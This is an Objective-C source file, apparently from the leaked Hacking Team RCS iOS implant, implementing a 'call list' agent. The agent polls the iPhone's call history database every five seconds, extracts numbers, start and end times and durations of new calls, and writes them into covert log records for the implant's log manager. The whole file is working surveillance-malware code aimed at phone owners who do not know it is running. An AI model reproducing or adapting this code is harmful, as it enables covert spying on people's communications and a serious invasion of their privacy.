core/Modules/Agents/RCSIAgentCallList.m
/*
* RCSIAgentCallList.m
* RCSIphone
*
* Created by Alfredo 'revenge' Pesoli on 5/18/11.
* Copyright 2011 HT srl. All rights reserved.
*/
#import <sqlite3.h>
#import <objc/runtime.h>
#import "RCSILogManager.h"
#import "RCSIAgentCallList.h"
#import "RCSIUtils.h"
//#define DEBUG
NSString *k_i_AgentCallListRunLoopMode = @"k_i_AgentCallListRunLoopMode";
#define CALL_LIST_DB_4x "/private/var/wireless/Library/CallHistory/call_history.db"
#define CALL_LIST_DB_3x "/private/var/mobile/Library/CallHistory/call_history.db"
typedef struct _callListAdditionalHeader {
u_int size; // size of standard + optional fields
u_int version; // guess is 0
u_int loStartTime;
u_int hiStartTime;
u_int loEndTime;
u_int hiEndTime;
u_int properties;
// Got from win mobile...
#define CALLLIST_TYPE_MASK 0x00FFFFFF
#define CALLLIST_STRING_NAME 0x01000000
#define CALLLIST_STRING_NAMETYPE 0x02000000
#define CALLLIST_STRING_NOTE 0x04000000
#define CALLLIST_STRING_NUMBER 0x08000000
} callListAdditionalStruct;
@interface _i_AgentCallList (hidden)
- (void)_getCallList;
- (void)_logCallList: (NSMutableArray *)callList;
- (void)_saveLastTimestamp;
- (BOOL)_getLastSavedTimestamp;
@end
@implementation _i_AgentCallList (hidden)
- (void)_getCallList
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
int rc = 0;
sqlite3 *db;
char stmt[1024];
if ([self isThreadCancelled] == TRUE)
{
[outerPool release];
return;
}
if (gOSMajor == 3)
{
rc = sqlite3_open(CALL_LIST_DB_3x, &db);
if (rc)
{
sqlite3_close(db);
[outerPool release];
return;
}
}
else if (gOSMajor == 4 || gOSMajor == 5 || gOSMajor >= 6)
{
rc = sqlite3_open(CALL_LIST_DB_4x, &db);
if (rc)
{
sqlite3_close(db);
[outerPool release];
return;
}
}
else
{
return;
}
if ([self isThreadCancelled] == TRUE)
{
sqlite3_close(db);
[outerPool release];
return;
}
[self _getLastSavedTimestamp];
if (mLastCallTimestamp == 0)
sprintf(stmt, "SELECT * from call");
else
sprintf(stmt, "SELECT * from call where rowid > '%d'", mLastCallTimestamp);
if ([self isThreadCancelled] == TRUE)
{
sqlite3_close(db);
[outerPool release];
return;
}
NSMutableArray *results = rcs_sqlite_do_select(db, stmt);
if ([self isThreadCancelled] == TRUE)
{
sqlite3_close(db);
[outerPool release];
return;
}
if (results != nil)
{
[self _logCallList: results];
[self _saveLastTimestamp];
}
sqlite3_close(db);
[outerPool release];
return;
}
- (void)_logCallList: (NSMutableArray *)callList
{
if (callList == nil)
return;
for (NSMutableDictionary *item in callList)
{
if ([self isThreadCancelled] == TRUE)
return;
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
NSMutableData *logData = [[NSMutableData alloc] init];
if ([item objectForKey: @"duration"] == nil)
{
continue;
}
if ([item objectForKey: @"date"] == nil)
{
continue;
}
int32_t timestamp = [[item objectForKey: @"ROWID"] intValue];
if (mLastCallTimestamp == 0 || timestamp > mLastCallTimestamp)
mLastCallTimestamp = timestamp;
int32_t duration = [[item objectForKey: @"duration"] intValue];
int64_t unixStart = [[item objectForKey: @"date"] longLongValue];
int64_t unixEnd = unixStart + duration;
int64_t started = ((int64_t)unixStart * (int64_t)RATE_DIFF) + (int64_t)EPOCH_DIFF;
int64_t ended = ((int64_t)unixEnd * (int64_t)RATE_DIFF) + (int64_t)EPOCH_DIFF;
callListAdditionalStruct *agentAdditionalHeader;
NSMutableData *rawAdditionalHeader = [[NSMutableData alloc]
initWithLength: sizeof(callListAdditionalStruct)];
agentAdditionalHeader = (callListAdditionalStruct *)[rawAdditionalHeader bytes];
agentAdditionalHeader->size = sizeof(callListAdditionalStruct);
agentAdditionalHeader->version = 0;
agentAdditionalHeader->loStartTime = (int64_t)started & 0xFFFFFFFF;
agentAdditionalHeader->hiStartTime = (int64_t)started >> 32;
agentAdditionalHeader->loEndTime = (int64_t)ended & 0xFFFFFFFF;
agentAdditionalHeader->hiEndTime = (int64_t)ended >> 32;
agentAdditionalHeader->properties = 0;
int32_t flags = [[item objectForKey: @"flags"] intValue];
if (flags == 5)
agentAdditionalHeader->properties |= 0x01;
if (duration > 0)
agentAdditionalHeader->properties |= 0x02;
NSString *number = [item objectForKey: @"address"];
uint32_t len = [number lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
int32_t prefix = CALLLIST_STRING_NUMBER | (len & 0x00FFFFFF);
agentAdditionalHeader->size += sizeof(prefix)
+ len
+ sizeof(uint32_t) * 6; // Add empty strings
[logData appendData: rawAdditionalHeader];
// Append number
[logData appendBytes: &prefix
length: sizeof(int32_t)];
[logData appendData: [number dataUsingEncoding:
NSUTF16LittleEndianStringEncoding]];
NSMutableData *empty = [[NSMutableData alloc] initWithLength: sizeof(uint32_t)];
// Append nil name
// prefix
[logData appendData: empty];
// name
[logData appendData: empty];
// Append nil name type
// prefix
[logData appendData: empty];
// name type
[logData appendData: empty];
// Append nil note
// prefix
[logData appendData: empty];
// note
[logData appendData: empty];
[empty release];
_i_LogManager *logManager = [_i_LogManager sharedInstance];
BOOL success = [logManager createLog: LOG_CALL_LIST
agentHeader: nil
withLogID: 0];
if (success == NO)
{
[logData release];
[rawAdditionalHeader release];
continue;
}
if ([logManager writeDataToLog: logData
forAgent: LOG_CALL_LIST
withLogID: 0] == FALSE)
{
[logData release];
[rawAdditionalHeader release];
continue;
}
[logManager closeActiveLog: LOG_CALL_LIST
withLogID: 0];
[logData release];
[rawAdditionalHeader release];
[innerPool release];
}
}
- (void)_saveLastTimestamp
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if (mLastCallTimestamp == 0)
{
[pool release];
return;
}
NSNumber *number = [[NSNumber alloc] initWithDouble: mLastCallTimestamp];
NSDictionary *dict =
[[NSDictionary alloc] initWithObjects: [NSArray arrayWithObjects: number, nil]
forKeys: [NSArray arrayWithObjects: @"CL_LAST", nil]];
// NSDictionary *agentDict =
// [[NSDictionary alloc] initWithObjects: [NSArray arrayWithObjects: dict, nil]
// forKeys: [NSArray arrayWithObjects: [[self class] description], nil]];
//setRcsPropertyWithName([[self class] description], agentDict);
[[_i_Utils sharedInstance] setPropertyWithName:[[self class] description]
withDictionary:dict];
// [agentDict release];
[dict release];
[number release];
[pool release];
}
- (BOOL)_getLastSavedTimestamp
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
NSDictionary *agentDict; // = rcsPropertyWithName([[self class] description]);
agentDict = [[_i_Utils sharedInstance] getPropertyWithName:[[self class] description]];
if (agentDict == nil)
{
return NO;
}
else
{
mLastCallTimestamp = [[agentDict objectForKey: @"CL_LAST"] unsignedIntValue];
[agentDict release];
}
[outerPool release];
return YES;
}
@end
@implementation _i_AgentCallList
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
- (id)initWithConfigData:(NSData*)aData
{
self = [super initWithConfigData:aData];
if (self != nil)
{
mLastCallTimestamp = 0;
mAgentID = AGENT_CALL_LIST;
}
return self;
}
#pragma mark -
#pragma mark Agent Formal Protocol Methods
#pragma mark -
- (void)getCallList:(NSTimer*)theTimer
{
[self _getCallList];
}
- (void)setCallListPollingTimeout:(NSTimeInterval)aTimeOut
{
NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval: aTimeOut
target: self
selector: @selector(getCallList:)
userInfo: nil
repeats: YES];
[[NSRunLoop currentRunLoop] addTimer: timer forMode: k_i_AgentCallListRunLoopMode];
}
- (void)startAgent
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
if ([self isThreadCancelled] == TRUE)
{
[self setMAgentStatus: AGENT_STATUS_STOPPED];
[outerPool release];
return;
}
[self setCallListPollingTimeout: 5.0];
while ([self mAgentStatus] == AGENT_STATUS_RUNNING)
{
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
[[NSRunLoop currentRunLoop] runMode: k_i_AgentCallListRunLoopMode
beforeDate: [NSDate dateWithTimeIntervalSinceNow: 1.0]];
[innerPool release];
}
[self setMAgentStatus: AGENT_STATUS_STOPPED];
[outerPool release];
}
- (BOOL)stopAgent
{
[self setMAgentStatus: AGENT_STATUS_STOPPING];
return YES;
}
- (BOOL)resume
{
return YES;
}
@end